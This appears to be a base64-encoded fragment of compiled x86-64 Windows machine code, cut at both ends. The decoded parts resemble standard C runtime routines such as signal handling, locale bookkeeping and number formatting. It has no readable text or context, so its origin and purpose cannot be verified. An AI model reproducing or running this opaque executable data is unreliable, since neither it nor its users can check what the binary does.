EiJDTViBABIiQ02YgQASIkNN2IEAEiJDThiBADDzMzMSIvEU1ZXQVRBVUFXSIPsSIv5RTPtRCFoGEC2AUCItCSAAAAAg/kCD4SOAAAAg/kEdCKD+QYPhIAAAACD+Qh0FIP5C3QPg/kPdHGNQeuD+AF2aetE6JuW//9Mi+hIhcB1CIPI/+kiAgAASIsISIsVIaQAAEjB4gRIA9HrCTl5BHQLSIPBEEg7ynXyM8kzwEiFyQ+VwIXAdRLos4v//8cAFgAAAOjkh///67dIjVkIQDL2QIi0JIAAAADrP4PpAnQzg+kEdBOD6Ql0IIPpBnQSg/kBdAQz2+siSI0dTWEEAOsZSI0dPGEEAOsQSI0dQ2EEAOsHSI0dImEEAEiDpCSYAAAAAECE9nQLuQMAAADo9rP//5BAhPZ0F0iLFd0NBACLyoPhP0gzE0jTykyL+usDTIs7SYP/AQ+UwIiEJIgAAACEwA+FvwAAAE2F/3UYQIT2dAlBjU8D6AG0//+5AwAAAOjndf//QbwQCQAAg/8Ld0BBD6P8czpJi0UISImEJJgAAABIiUQkMEmDZQgAg/8IdVboypT//4tAEImEJJAAAACJRCQg6LeU///HQBCMAAAAg/8IdTJIiwXgogAASMHgBEkDRQBIiw3ZogAASMHhBEgDyEiJRCQoSDvBdDFIg2AIAEiDwBDr60iLFQ4NBACLwoPgP7lAAAAAK8gzwEjTyEgzwkiJA+sGQbwQCQAAQIT2dAq5AwAAAOhAs///gLwkiAAAAAB0BDPA62GD/wh1HugslP//SIvYSYvPSIsVa4gAAP/Si1MQi89B/9frEUmLz0iLBVWIAAD/0IvPQf/Xg/8Ld8NBD6P8c71Ii4QkmAAAAEmJRQiD/wh1rOjhk///i4wkkAAAAIlIEOubSIPESEFfQV1BXF9eW8PMzMxIixVZDAQAi8pIMxWQXwQAg+E/SNPKSIXSD5XAw8zMzEiJDXlfBADDSIlcJAhXSIPsIEiLHScMBABIi/mLy0gzHVtfBACD4T9I08tIhdt1BDPA6w5Ii8v/FbOHAABIi8//00iLXCQwSIPEIF/DzMzMiwUyXwQAw8xAU0iD7ECL2UiNTCQg6G6K/v9Ii0QkKA+200iLCA+3BFElAIAAAIB8JDgAdAxIi0wkIIOhqAMAAP1Ig8RAW8PMQFVBVEFVQVZBV0iD7GBIjWwkUEiJXUBIiXVISIl9UEiLBYILBABIM8VIiUUISGNdYE2L+UiJVQBFi+hIi/mF234USIvTSYvJ6GtFAAA7w41YAXwCi9hEi3V4RYX2dQdIiwdEi3AM952AAAAARIvLTYvHQYvOG9KDZCQoAEiDZCQgAIPiCP/C/xUTgQAATGPghcAPhHsCAABJi9RJuPD///////8PSAPSSI1KEEg70UgbwEiFwXRySI1KEEg70UgbwEgjwUg9AAQAAEiNQhB3N0g70EgbyUgjyEiNQQ9IO8F3A0mLwEiD4PDo4mwAAEgr4EiNdCRQSIX2D4T6AQAAxwbMzAAA6xxIO9BIG8lII8joW4D//0iL8EiFwHQOxwDd3QAASIPGEOsCM/ZIhfYPhMUBAABEiWQkKESLy02Lx0iJdCQgugEAAABBi87/FU6AAACFwA+EnwEAAEiDZCRAAEWLzEiDZCQ4AEyLxkiDZCQwAEGL1UyLfQCDZCQoAEmLz0iDZCQgAOgsrP//SGP4hcAPhGIBAABBuAAEAABFheh0UotFcIXAD4ROAQAAO/gPj0QBAABIg2QkQABFi8xIg2QkOABMi8ZIg2QkMABBi9WJRCQoSYvPSItFaEiJRCQg6NOr//+L+IXAD4UMAQAA6QUBAABIi9dIA9JIjUoQSDvRSBvASIXBdHZIjUoQSDvRSBvASCPBSTvASI1CEHc+SDvQSBvJSCPISI1BD0g7wXcKSLjw////////D0iD4PDojGsAAEgr4EiNXCRQSIXbD4SkAAAAxwPMzAAA6xxIO9BIG8lII8joBX///0iL2EiFwHQOxwDd3QAASIPDEOsCM9tIhdt0c0iDZCRAAEWLzEiDZCQ4AEyLxkiDZCQwAEGL1Yl8JChJi89IiVwkIOgGq///hcB0MkiDZCQ4ADPSSCFUJDBEi8+LRXBMi8NBi86FwHVmIVQkKEghVCQg/xVmfwAAi/iFwHVgSI1L8IE53d0AAHUF6Dd+//8z/0iF9nQRSI1O8IE53d0AAHUF6B9+//+Lx0iLTQhIM83oAWcAAEiLXUBIi3VISIt9UEiNZRBBX0FeQV1BXF3DiUQkKEiLRWhIiUQkIOuUSI1L8IE53d0AAHWn6Nd9///roMxIiVwkCEiJdCQQV0iD7HBIi/JJi9lIi9FBi/hIjUwkUOi/hv7/i4QkwAAAAEiNTCRYiUQkQEyLy4uEJLgAAABEi8eJRCQ4SIvWi4QksAAAAIlEJDBIi4QkqAAAAEiJRCQoi4QkoAAAAIlEJCDoM/z//4B8JGgAdAxIi0wkUIOhqAMAAP1MjVwkcEmLWxBJi3MYSYvjX8PMzEiD7CjoD4///0iNVCQwSIuIkAAAAEiJTCQwSIvI6IqQ//9Ii0QkMItADEiDxCjDzPD/QRBIi4HgAAAASIXAdAPw/wBIi4HwAAAASIXAdAPw/wBIi4HoAAAASIXAdAPw/wBIi4EAAQAASIXAdAPw/wBIjUE4QbgGAAAASI0VMwoEAEg5UPB0C0iLEEiF0nQD8P8CSIN46AB0DEiLUPhIhdJ0A/D/AkiDwCBJg+gBdctIi4kgAQAA6XkBAADMSIlcJAhIiWwkEEiJdCQYV0iD7CBIi4H4AAAASIvZSIXAdHlIjQ12DwQASDvBdG1Ii4PgAAAASIXAdGGDOAB1XEiLi/AAAABIhcl0FoM5AHUR6Cp8//9Ii4v4AAAA6I4bAABIi4voAAAASIXJdBaDOQB1EegIfP//SIuL+AAAAOh4HAAASIuL4AAAAOjwe///SIuL+AAAAOjke///SIuDAAEAAEiFwHRHgzgAdUJIi4sIAQAASIHp/gAAAOjAe///SIuLEAEAAL+AAAAASCvP6Kx7//9Ii4sYAQAASCvP6J17//9Ii4sAAQAA6JF7//9Ii4sgAQAA6KUAAABIjbMoAQAAvQYAAABIjXs4SI0F5ggEAEg5R/B0GkiLD0iFyXQSgzkAdQ3oVnv//0iLDuhOe///SIN/6AB0E0iLT/hIhcl0CoM5AHUF6DR7//9Ig8YISIPHIEiD7QF1sUiLy0iLXCQwSItsJDhIi3QkQEiDxCBf6Qp7///MzEiFyXQcSI0FDJ4AAEg7yHQQuAEAAADwD8GBXAEAAP/Aw7j///9/w8xIhcl0MFNIg+wgSI0F350AAEiL2Ug7yHQXi4FcAQAAhcB1Dej4GwAASIvL6LB6//9Ig8QgW8PMzEiFyXQaSI0FrJ0AAEg7yHQOg8j/8A/BgVwBAAD/yMO4////f8PMzMxIg+woSIXJD4SWAAAAQYPJ//BEAUkQSIuB4AAAAEiFwHQE8EQBCEiLgfAAAABIhcB0BPBEAQhIi4HoAAAASIXAdATwRAEISIuBAAEAAEiFwHQE8EQBCEiNQThBuAYAAABIjRWRBwQASDlQ8HQMSIsQSIXSdATwRAEKSIN46AB0DUiLUPhIhdJ0BPBEAQpIg8AgSYPoAXXJSIuJIAEAAOg1////SIPEKMNIiVwkCFdIg+wg6KWL//9Ii/iLDdAMBACFiKgDAAB0DEiLmJAAAABIhdt1NrkEAAAA6Caq//+QSI2PkAAAAEiLFRNPBADoJgAAAEiL2LkEAAAA6Fmq//9Ihdt1Buh3ev//zEiLw0iLXCQwSIPEIF/DSIlcJAhXSIPsIEiL+kiF0nRJSIXJdERIixlIO9p1BUiLwus5SIkRSIvK6C38//9Ihdt0IkiLy+is/v//g3sQAHUUSI0FLwUEAEg72HQISIvL6JL8//9Ii8frAjPASItcJDBIg8QgX8NAU0iD7CAz20iFyXUY6LqA//+7FgAAAIkY6Op8//+Lw+mUAAAASIXSdONFhcCIGYvDQQ9PwP/ASJhIO9B3DOiJgP//uyIAAADrzU2FyXS+SYtRCEiNQQHGATDrGUSKEkWE0nQFSP/C6wNBsjBEiBBI/8BB/8hFhcB/4ogYeBSAOjV8D+sDxgAwSP/IgDg5dPX+AIA5MXUGQf9BBOsaSYPI/0n/wEI4XAEBdfZJ/8BIjVEB6Dll/v8zwEiDxCBbw8xAVVNWV0FUQVVBVkFXSI2sJCj5//9IgezYBwAASIsFlQIEAEgzxEiJhcAGAABIiUwkOE2L8UiNTCRgTIlMJFBNi/hMiUQkcIvy6JI8AACLRCRgRTPtg+AfPB91B0SIbCRo6w9IjUwkYOjfPAAAxkQkaAFIi1wkOEi5AAAAAAAAAIBIi8NNiXcISCPBvyAAAABI99hJvP///////w8ASLgAAAAAAADwfxvJg+ENA89BiQ9Ihdh1LEmF3HUnSIuVQAcAAEyNBaPvAQBJi85FiW8E6At4//+FwA+E8REAAOkgEgAASI1MJDjoLIv//4XAdAhBx0cEAQAAAIPoAQ+ErxEAAIPoAQ+EhxEAAIPoAQ+EXxEAAIP4AQ+ENxEAAEi4/////////39Buf8HAABII9j/xkiJXCQ48g8QRCQ48g8RRCRYSItUJFhMi8KJdCRMScHoNE2FwQ+UwYrB9thIuAAAAAAAABAATRv2SSPUSffWTCPwTAPy9tkbwEUjwffY/8BBjZjM+///A9jo0jwAAOgJPAAA8g8syESJdYRBugEAAACNgQEAAICD4P732EUb5EnB7iBEI+FEiXWIQYvGRIlkJDD32BvS99pBA9KJVYCF2w+IqQIAADPAx4UoAwAAAAAQAImFJAMAAI1wAom1IAMAADvWD4VhAQAARYvFQYvIi0SNhDmEjSQDAAAPhUoBAABFA8JEO8Z15ESNWwJEiWwkOEWLy4v3QYPjH0HB6QVBK/NJi9qLzkjT40Er2kEPvcZEi+NB99R0BP/A6wNBi8Ur+EGNQQJEO99BD5fHg/hzQQ+XwIP4c3UIQYrKRYT/dQNBis1Bg83/RYTAD4WhAAAAhMkPhZkAAABBvnIAAABBO8ZED0LwRTv1dFxFi8ZFK8FDjTwIQTv5ckdEO8JzB0aLVIWE6wNFM9JBjUD/O8JzBotUhYTrAjPSQSPUi87T6kUDxUQj00GLy0HT4kEL0kONBAiJVL2EQTvFdAWLVYDrsEG6AQAAAEUz7UGLzUWFyXQPi8FBA8pEiWyFhEE7yXXxRYT/QY1GAUQPRfBEiXWA6wpFM+1Fi/VEiW2Ax4VUAQAABAAAAESLZCQwQb8BAAAARIm9UAEAAESJvSADAABEia0oAwAA6XQDAACDZCQ4AESNWwFFi8uNQv9Bg+MfQcHpBUSL/0mL2kUr+0GLz0jT40Er2ovID71EhYREi+tB99V0BP/A6wIzwCv4Qo0ECkQ730EPl8SD+HNBD5fAg/hzdQpFhOR0BUGKyusCMslBg8r/RYTAD4WgAAAAhMkPhZgAAABBvnIAAABBO8ZED0LwRTvydFxFi8ZFK8FDjTwIQTv5ck1EO8JzB0aLVIWE6wNFM9JBjUD/O8JzBotUhYTrAjPSRCPTQYvLQdPiQSPVQYvP0+pEC9JEiVS9hEGDyv9FA8JDjQQIQTvCdAWLVYDrqkUz7UGLzUWFyXQOi8H/wUSJbIWEQTvJdfJFhORBjUYBRA9F8ESJdYDrCkUz7UWL9USJbYCJtVQBAADptv7//4H7Avz//w+ELAEAADPAx4UoAwAAAAAQAImFJAMAAI1wAom1IAMAADvWD4UJAQAARYvFQYvIi0SNhDmEjSQDAAAPhfIAAABFA8JEO8Z15EEPvcZEiWwkOHQE/8DrA0GLxSv4i847/kEPksFBg83/O8pzCYvBRItEhYTrA0UzwI1B/zvCcwaLVIWE6wIz0kGLwMHqHsHgAjPQi8FBA82JVIWEQTvNdAWLVYDrw0H22UiNjSQDAABFG/Yz0kH33kQD9ivzi/5EiXWAwe8Fi99IweMCTIvD6Fhp/v+D5h9EjX8BQIrORYvHuAEAAABJweAC0+CJhB0kAwAARTPtRIm9UAEAAESJvSADAABNhcAPhD0BAAC7zAEAAEiNjVQBAABMO8MPhwcBAABIjZUkAwAA6H5f/v/pEAEAAI1C/0SJbCQ4i8gPvUSFhHQE/8DrA0GLxSv4QTv6QQ+SwYP6cw+XwYP6c3UIQYrCRYTJdQNBisVBg83/hMl1aITAdWRBvnIAAABBO9ZED0LyRTv1dD5Bi847ynMJi8FEi0SFhOsDRTPAjUH/O8JzBotUhYTrAjPSweofQ40EADPQi8FBA82JVIWEQTvNdAWLVYDrxUUz7UGNRgFFhMlED0XwRIl1gOsKRTPtRYv1RIltgEGL+kiNjSQDAAAr+zPSi/fB7gWL3kjB4wJMi8PoJ2j+/4PnH0SNfgFAis9Fi8e4AQAAANPgiYQdJAMAAEnB4ALpzf7//0yLwzPS6Pln/v/oUHn//8cAIgAAAOiBdf//RIu9UAEAALjNzMzMRYXkD4i+BAAAQffki8JIjRW4+/f/wegDiUQkSESL4IlEJECFwA+E0wMAALgmAAAARYvsRDvgRA9H6ESJbCREQY1F/w+2jIKikQgAD7a0gqORCACL2Yv4M9JIweMCTIvDjQQOSI2NJAMAAImFIAMAAOhoZ/7/SI0NUfv3/0jB5gIPt4S5oJEIAEiNkZCICABIjY0kAwAATIvGSAPLSI0Ugui4Xf7/RIudIAMAAEGD+wEPh6IAAACLhSQDAACFwHUPRTP/RIm9UAEAAOkJAwAAg/gBD4QAAwAARYX/D4T3AgAARTPATIvQRTPJQouMjVQBAABBi8BJD6/KSAPITIvBQomMjVQBAABJweggQf/BRTvPdddFhcB0NIO9UAEAAHNzGouFUAEAAESJhIVUAQAARIu9UAEAAEH/x+uIRTP/RIm9UAEAADLA6Y4CAABEi71QAQAA6YACAABBg/8BD4etAAAAi51UAQAATYvDScHgAkWL+0SJnVABAABNhcB0QLjMAQAASI2NVAEAAEw7wHcOSI2VJAMAAOjCXP7/6xpMi8Az0ug2Zv7/6I13///HACIAAADovnP//0SLvVABAACF2w+E+v7//4P7AQ+ECQIAAEWF/w+EAAIAAEUzwEyL00UzyUKLjI1UAQAAQYvASQ+vykgDyEyLwUKJjI1UAQAAScHoIEH/wUU7z3XX6QT///9FO99IjY1UAQAARYvnTI2tJAMAAA+SwEiNlVQBAACEwEwPROlFD0XjRQ9F30iNjSQDAABID0TRRTP/RTPSSIlUJDhEib3wBAAARYXkD4QaAQAAQ4t0lQBBi8KF9nUhRTvXD4X5AAAAQiG0lfQEAABFjXoBRIm98AQAAOnhAAAAM9tFi8pFhdsPhMQAAABBi/r330GD+XN0Z0U7z3UbQYvBQY1KAYOkhfQEAAAAQo0EDwPIiY3wBAAAQo0ED0WLwYsUgkH/wYvDSA+v1kgD0EKLhIX0BAAASAPQQo0ED0iL2kKJlIX0BAAARIu98AQAAEjB6yBBO8N0B0iLVCQ465OF23ROQYP5cw+EfgEAAEU7z3UVQYvBg6SF9AQAAABBjUEBiYXwBAAAQYvJQf/Bi9OLhI30BAAASAPQiZSN9AQAAESLvfAEAABIweogi9qF0nWyQYP5cw+EMAEAAEiLVCQ4Qf/CRTvUD4Xm/v//RYvHScHgAkSJvVABAABNhcB0QLjMAQAASI2NVAEAAEw7wHcOSI2V9AQAAOiyWv7/6xpMi8Az0ugmZP7/6H11///HACIAAADornH//0SLvVABAABEi2QkQESLbCREsAGEwA+EuAAAAEUr5UiNFeH39/9EiWQkQA+FNPz//4tEJEhFM+2LfCQwjQSAA8CLzyvID4QfBQAAjUH/i4SCOJIIAIXAD4SJAAAAg/gBD4QEBQAARYX/D4T7BAAARYvFRYvNRIvQQYvRQf/BQYvAi4yVVAEAAEkPr8pIA8hMi8GJjJVUAQAAScHoIEU7z3XWRYXAdE6DvVABAABzczaLhVABAABEiYSFVAEAAESLvVABAABB/8dEib1QAQAA6ZYEAABFM+1Fi/1Eia1QAQAA6YAEAABFi/1Eia1QAQAA6XUEAABEi71QAQAA6WkEAABBi8z32ffhiUwkRIvCSI0V8vb3/8HoA4lEJDhEi+CJRCRAhcAPhJcDAAC4JgAAAEWL7EQ74EQPR+hEiWwkSEGNRf8PtoyCopEIAA+2tIKjkQgAi9mL+DPSSMHjAkyLw40EDkiNjSQDAACJhSADAADoomL+/0iNDYv29/9IweYCD7eEuaCRCABIjZGQiAgASI2NJAMAAEyLxkgDy0iNFILo8lj+/4u9IAMAAIP/AQ+HhwAAAIuFJAMAAIXAdQxFM/ZEiXWA6c4CAACD+AEPhMUCAABFhfYPhLwCAABFM8BMi9BFM8lCi0yNhEGLwEkPr8pIA8hMi8FCiUyNhEnB6CBB/8FFO8513UWFwHQlg32Ac3MRi0WARIlEhYREi3WAQf/G651FM/ZEiXWAMsDpaAIAAESLdYDpXQIAAEGD/gEPh5oAAACLXYRMi8dJweACRIv3iX2ATYXAdDq4zAEAAEiNTYRMO8B3DkiNlSQDAADoI1j+/+saTIvAM9Lol2H+/+jucv//xwAiAAAA6B9v//9Ei3WAhdsPhCL///+D+wEPhPMBAABFhfYPhOoBAABFM8BMi9NFM8lCi0yNhEGLwEkPr8pIA8hMi8FCiUyNhEnB6CBB/8FFO8513ekp////QTv+SI1NhEWL5kyNrSQDAAAPksBIjVWEhMBMD0TpRA9F50EPRf5IjY0kAwAASA9E0UUz9kUz0kiJVCRYRIm18AQAAEWF5A+EGQEAAEOLdJUAQYvChfZ1IUU71g+F+AAAAEIhtJX0BAAARY1yAUSJtfAEAADp4AAAADPbRYvKhf8PhMQAAABFi9pB99tBg/lzdGZFO851G0GLwUGNSQGDpIX0BAAAAEONBBoDyImN8AQAAEONBAtFi8GLFIJB/8FID6/WQouEhfQEAABIA9CLw0gD0EONBAtIi9pCiZSF9AQAAESLtfAEAABIwesgO8d0B0iLVCRY65SF23ROQYP5cw+EVwEAAEU7znUVQYvBg6SF9AQAAABBjUEBiYXwBAAAQYvJQf/Bi8OLlI30BAAASAPQiZSN9AQAAESLtfAEAABIweogi9qF0nWyQYP5cw+ECQEAAEiLVCRYQf/CRTvUD4Xn/v//RYvGScHgAkSJdYBNhcB0OrjMAQAASI1NhEw7wHcOSI2V9AQAAOgpVv7/6xpMi8Az0uidX/7/6PRw///HACIAAADoJW3//0SLdYBEi2QkQESLbCRIsAGEwA+EmgAAAEUr5UiNFVvz9/9EiWQkQA+FdPz//4tMJERFM+2LRCQ4jQSAA8AryA+ElwAAAI1B/4uEgjiSCACFwHRig/gBD4SAAAAARYX2dHtFi8VFi81Ei9BBi9FB/8FBi8CLTJWESQ+vykgDyEyLwYlMlYRJweggRTvOddxFhcB0RYN9gHOLfCQwcy2LRYBEiUSFhESLdYBB/8ZEiXWA6y5FM+1Ii3QkUIt8JDBIi95EiW2A6YcAAABIi3QkUEiL3kSJbYDreUSLdYCLfCQwSIt0JFBIi95FhfZ0ZEWLxUWLzUGL0UH/wYtElYRIjQyAQYvATI0ESESJRJWEScHoIEU7znXdRYXAdDaDfYBzcw2LRYBEiUSFhP9FgOsjRTPJRImtIAMAAEyNhSQDAABEiW2AuswBAABIjU2E6EQ2//9IjZVQAQAASI1NgOiMFP//g/gKD4WQAAAA/8fGBjFIjV4BRYX/D4SOAAAARYvFRYvNQYvRQf/Bi4SVVAEAAEiNDIBBi8BMjQRIRImElVQBAABJweggRTvPdddFhcB0WoO9UAEAAHNzFouFUAEAAESJhIVUAQAA/4VQAQAA6ztFM8lEia0gAwAATI2FJAMAAESJrVABAAC6zAEAAEiNjVQBAADonTX//+sQhcB1BP/P6wgEMEiNXgGIBkiLRCRwi0wkTIl4BIX/eAqB+f///393AgPPSIuFQAcAAEj/yIv5SDvHSA9C+EgD/kg73w+E6AAAAEG+CQAAAIPO/0SLVYBFhdIPhNIAAABFi8VFi81Bi9FB/8GLRJWESGnIAMqaO0GLwEgDyEyLwYlMlYRJweggRTvKddlFhcB0NoN9gHNzDYtFgESJRIWE/0WA6yNFM8lEia0gAwAATI2FJAMAAESJbYC6zAEAAEiNTYTo1DT//0iNlVABAABIjU2A6BwT//9Ei9dMi8BEK9NBuQgAAAC4zczMzEH34MHqA4rKwOECjQQRAsBEKsBBjUgwRIvCRTvRcgZBi8GIDBhEA85EO851zkiLx0grw0k7xkkPT8ZIA9hIO98PhSH///9EiCvre0iLlUAHAABMjQXLngAASYvO6Hdm//+FwHRh6aUAAABIi5VABwAATI0FpJ4AAEmLzuhYZv//hcB0QumbAAAASIuVQAcAAEyNBX2eAABJi87oOWb//4XAdCPpkQAAAEiLlUAHAABMjQVWngAASYvO6Bpm//+FwA+FiAAAAEQ4bCRodApIjUwkYOghKgAASIuNwAYAAEgzzOhCTgAASIHE2AcAAEFfQV5BXUFcX15bXcNFM8lMiWwkIEUzwDPSM8noUmn//8xFM8lMiWwkIEUzwDPSM8noPWn//8xFM8lMiWwkIEUzwDPSM8noKGn//8xFM8lMiWwkIEUzwDPSM8noE2n//8xFM8lMiWwkIEUzwDPSM8no/mj//8zMSIvESIlYGEiJcCBIiVAQiEgIV0iD7CBIi8roHaT+/0iLTCQ4TGPIi1EU9sLAD4SoAAAASItMJDgz24vzSItBCIs5SP/AK3kISIkBSItEJDiLSCD/yYlIEIX/filIi1QkOESLx0GLyUiLUgjoGJz//4vwSItEJDg790iLSAiKRCQwiAHrbEGNQQKD+AF2HkmLyUiNFcw5BACD4T9Ji8FIwfgGSMHhBkgDDMLrB0iNDaHxAwD2QTggdLkz0kGLyUSNQgLovQoAAEiD+P91pUiLTCQ48INJFBCwAesZQbgBAAAASI1UJDBBi8nompv//4P4AQ+UwEiLXCRASIt0JEhIg8QgX8NIi8RIiVgYSIlwIEiJUBBmiUgIV0iD7CBIi8roGKP+/0iLTCQ4TGPIi1EU9sLAD4SsAAAASItMJDgz24vzSItBCIs5SIPAAit5CEiJAUiLRCQ4i0ggg+kCiUgQhf9+K0iLVCQ4RIvHQYvJSItSCOgRm///i/BIi0QkODv3SItICA+3RCQwZokB62xBjUECg/gBdh5Ji8lIjRXDOAQAg+E/SYvBSMH4BkjB4QZIAwzC6wdIjQ2Y8AMA9kE4IHS3M9JBi8lEjUIC6LQJAABIg/j/daNIi0wkOPCDSRQQsAHrGUG4AgAAAEiNVCQwQYvJ6JGa//+D+AIPlMBIi1wkQEiLdCRISIPEIF/DzMzMSIlcJAhIiXQkEFdIg+wgi/lIi9pIi8roEKL+/0SLQxSL8EH2wAZ1GOhjav//xwAJAAAA8INLFBCDyP/pmAAAAItDFMHoDLkBAAAAhMF0Deg8av//xwAiAAAA69eLQxSEwXQag2MQAItDFMHoA4TBdMJIi0MISIkD8INjFP7wg0sUAvCDYxT3g2MQAItDFKnABAAAdSzoEp3+/0g72HQPuQIAAADoA53+/0g72HULi87oHwEAAIXAdQhIi8voAxUAAEiL00CKz+gk/f//hMAPhF////9AD7bHSItcJDBIi3QkOEiDxCBfw0iJXCQISIl0JBBXSIPsIIv5SIvaSIvK6Cih/v9Ei0MUi/BB9sAGdRroe2n//8cACQAAAPCDSxQQuP//AADplwAAAItDFMHoDLkBAAAAhMF0DehSaf//xwAiAAAA69WLQxSEwXQag2MQAItDFMHoA4TBdMBIi0MISIkD8INjFP7wg0sUAvCDYxT3g2MQAItDFKnABAAAdSzoKJz+/0g72HQPuQIAAADoGZz+/0g72HULi87oNQAAAIXAdQhIi8voGRQAAEiL0w+3z+g+/f//hMAPhF3///8Pt8dIi1wkMEiLdCQ4SIPEIF/DzMzMSIPsKIP5/nUN6K5o///HAAkAAADrQoXJeC47DWA6BABzJkhjyUiNFVQ2BABIi8GD4T9IwfgGSMHhBkiLBMIPtkQIOIPgQOsS6G9o///HAAkAAADooGT//zPASIPEKMPMSIXJD4QAAQAAU0iD7CBIi9lIi0kYSDsNrPMDAHQF6G1g//9Ii0sgSDsNovMDAHQF6Ftg//9Ii0soSDsNmPMDAHQF6Elg//9Ii0swSDsNjvMDAHQF6Ddg//9Ii0s4SDsNhPMDAHQF6CVg//9Ii0tASDsNevMDAHQF6BNg//9Ii0tISDsNcPMDAHQF6AFg//9Ii0toSDsNfvMDAHQF6O9f//9Ii0twSDsNdPMDAHQF6N1f//9Ii0t4SDsNavMDAHQF6Mtf//9Ii4uAAAAASDsNXfMDAHQF6LZf//9Ii4uIAAAASDsNUPMDAHQF6KFf//9Ii4uQAAAASDsNQ/MDAHQF6Ixf//9Ig8QgW8PMzEiFyXRmU0iD7CBIi9lIiwlIOw2N8gMAdAXoZl///0iLSwhIOw2D8gMAdAXoVF///0iLSxBIOw158gMAdAXoQl///0iLS1hIOw2v8gMAdAXoMF///0iLS2BIOw2l8gMAdAXoHl///0iDxCBbw0iJXCQISIl0JBBXSIPsIDP/SI0E0UiL8EiL2Ugr8UiDxgdIwe4DSDvISA9H90iF9nQUSIsL6N5e//9I/8dIjVsISDv+dexIi1wkMEiLdCQ4SIPEIF/DzMxIhckPhP4AAABIiVwkCEiJbCQQVkiD7CC9BwAAAEiL2YvV6IH///9IjUs4i9Xodv///411BYvWSI1LcOho////SI2L0AAAAIvW6Fr///9IjYswAQAAjVX76Ev///9Ii4tAAQAA6Fde//9Ii4tIAQAA6Ete//9Ii4tQAQAA6D9e//9IjYtgAQAAi9XoGf///0iNi5gBAACL1egL////SI2L0AEAAIvW6P3+//9IjYswAgAAi9bo7/7//0iNi5ACAACNVfvo4P7//0iLi6ACAADo7F3//0iLi6gCAADo4F3//0iLi7ACAADo1F3//0iLi7gCAADoyF3//0iLXCQwSItsJDhIg8QgXsNNhcB1GDPAww+3AWaFwHQTZjsCdQ5Ig8ECSIPCAkmD6AF15Q+3AQ+3CivBw0BVQVRBVUFWQVdIg+xgSI1sJDBIiV1gSIl1aEiJfXBIiwXe5wMASDPFSIlFIESL6kWL+UiL0U2L4EiNTQDoWmb+/4u1iAAAAIX2dQdIi0UIi3AM952QAAAARYvPTYvEi84b0oNkJCgASINkJCAAg+II/8L/FYNdAABMY/CFwHUHM//p8QAAAEmL/kgD/0iNTxBIO/lIG8BIhcF0dUiNTxBIO/lIG8BII8FIPQAEAABIjUcQdzpIO/hIG8lII8hIjUEPSDvBdwpIuPD///////8PSIPg8OhSSQAASCvgSI1cJDBIhdt0eccDzMwAAOscSDv4SBvJSCPI6M9c//9Ii9hIhcB0DscA3d0AAEiDwxDrAjPbSIXbdEhMi8cz0kiLy+jXUv7/RYvPRIl0JChNi8RIiVwkILoBAAAAi87/FbpcAACFwHQaTIuNgAAAAESLwEiL00GLzf8VKFoAAIv46wIz/0iF23QRSI1L8IE53d0AAHUF6BRc//+AfRgAdAtIi0UAg6CoAwAA/YvHSItNIEgzzejlRAAASItdYEiLdWhIi31wSI1lMEFfQV5BXUFcXcPMzMxIi8RIiVgISIloEEiJcBhIiXggQVYz7UyNNfquAABEi9VIi/FBu+MAAABDjQQTSIv+mbtVAAAAK8LR+ExjwEmLyEjB4QROiwwxSSv5Qg+3FA+NSr9mg/kZdwRmg8IgQQ+3CY1Bv2aD+Bl3BGaDwSBJg8ECSIPrAXQKZoXSdAVmO9F0yQ+3wQ+3yivIdBiFyXkGRY1Y/+sERY1QAUU7036Kg8j/6wtJi8BIA8BBi0TGCEiLXCQQSItsJBhIi3QkIEiLfCQoQV7DzEiD7ChIhcl0Iugq////hcB4GUiYSD3kAAAAcw9IA8BIjQ3qkwAAiwTB6wIzwEiDxCjDzMxIiVwkEEiJdCQYiUwkCFdBVEFVQVZBV0iD7CBFi/hMi+JIY9mD+/51GOhaYv//gyAA6HJi///HAAkAAADpkwAAAIXJeHc7HSE0BABzb0iL80yL80nB/gZMjS0OMAQAg+Y/SMHmBkuLRPUAD7ZMMDiD4QF0SIvL6OWa//9Ig8//S4tE9QD2RDA4AXUV6Bhi///HAAkAAADo7WH//4MgAOsQRYvHSYvUi8voQwAAAEiL+IvL6I2b//9Ii8frHOjHYf//gyAA6N9h///HAAkAAADoEF7//0iDyP9Ii1wkWEiLdCRgSIPEIEFfQV5BXUFcX8NIiVwkCEiJdCQQV0iD7CBIY9lBi/iLy0iL8uhFnf//SIP4/3UR6I5h///HAAkAAABIg8j/61NEi89MjUQkSEiL1kiLyP8V4lgAAIXAdQ//FfBaAACLyOjtYP//69NIi0QkSEiD+P90yEiL00yNBQovBACD4j9Ii8tIwfkGSMHiBkmLDMiAZBE4/UiLXCQwSIt0JDhIg8QgX8PMzMzpb/7//8zMzOlX////zMzMZolMJAhIg+w4SIsNoO0DAEiD+f51DOjxJAAASIsNju0DAEiD+f91B7j//wAA6yVIg2QkIABMjUwkSEG4AQAAAEiNVCRA/xU9WAAAhcB02Q+3RCRASIPEOMPMzMyLBao2BADDzEyL0U2FwHQ8RQ+2Ckn/wkGNQb+D+Bl3BEGDwSAPtgpI/8KNQb+D+Bl3A4PBIEmD6AF0CkWFyXQFRDvJdMtEK8lBi8HDM8DDzEiD7CiLBQIuBACFwHU2SIXJdRroSGD//8cAFgAAAOh5XP//uP///39Ig8Qow0iF0nThSYH4////f3fYSIPEKOl0////RTPJSIPEKOkAAAAASIvESIlYCEiJaBBIiXAYV0iD7EBJi+hIi/pIi/FNhcAPhJ0AAABJi9FIjUjY6CJh/v+7////f0iF9nQKSIX/dAVIO+t2EujFX///xwAWAAAA6PZb///rVEiLRCQoSIO4OAEAAAB1EkyLxUiL10iLzujz/v//i9jrM0gr9w+2DD5IjVQkKOhiXf//D7YPSI1UJCiL2OhTXf//SP/HSIPtAXQIhdt0BDvYdNIr2IB8JDgAdAxIi0QkIIOgqAMAAP2Lw+sCM8BIi1wkUEiLbCRYSIt0JGBIg8RAX8PMzEiJXCQIV0iD7FBFi9BMi8EzwEiLnCSAAAAASIXbD5XAhcB1GOgLX///uxYAAACJGOg7W///i8PplwAAAIML/zPASIXJD5XAhcB02YuMJIgAAACFyXQTQffBf/7//7gAAAAAD5TAhcB0u4NkJEAAg2QkRACJTCQwRIlMJChEiVQkIESLykiL00iNTCRA6LMFAACL+IlEJESDfCRAAHQshcB0IUhjC0iLwUjB+AZIjRVFLAQAg+E/SMHhBkiLBMKAZAg4/osL6AaY//+F/3QDgwv/i8dIi1wkYEiDxFBfw8zMTIvcSYlbEEmJaxhJiXMgV0FWQVdIg+wwTGPxM9tNi9ZBiBlBg+I/SI0N6isEAEmLxknB4gZIwfgGSYvxQYv4SIvqSIsEwUL2RBA4gA+EEAIAAEG/AEAHAEWFx3UiSY1L